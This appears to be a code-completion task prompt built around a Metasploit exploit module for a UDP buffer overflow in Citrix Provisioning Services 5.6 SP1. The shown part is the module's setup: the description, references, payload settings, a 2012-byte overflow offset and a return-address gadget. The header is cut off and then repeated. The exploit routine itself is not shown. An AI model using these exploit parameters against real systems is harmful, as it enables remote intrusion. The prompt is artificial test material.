You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: citrix_streamprocess_data_msg.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/misc
    
    the code of the file until where you have to start completion: # -*- coding: binary -*-

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020000 Buffer Overflow',
      'Description'    => %q{
        This module exploits a remote buffer overflow in the Citrix Provisioning Services
        5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet to the
        6905/
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020000 Buffer Overflow',
      'Description'    => %q{
        This module exploits a remote buffer overflow in the Citrix Provisioning Services
        5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet to the
        6905/UDP port.  The module has been successfully tested on Windows Server 2003 SP2,
        Windows 7, and Windows XP SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'AbdulAziz Hariri',             # Initial discovery via ZDI
          'alino <26alino[at]gmail.com>'  # Metasploit module
        ],
      'References'     =>
        [
          ['OSVDB', '75780'],
          ['BID', '49803'],
          ['ZDI', '12-009'],
          ['URL', 'http://support.citrix.com/article/CTX130846']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Payload'        =>
        {
          'BadChars' => "\x00",
          'EncoderOptions' => {'BufferRegister'=>'ECX'},
        },
      'Platform'       => ['win'],
      'Targets'        =>
        [
          [ 'Citrix Provisioning Services 5.6 SP1',
            {
              'Offset' => 2012,
              'Ret'    => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2011-11-04',  #CTX130846 creation date
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(6905)])
  end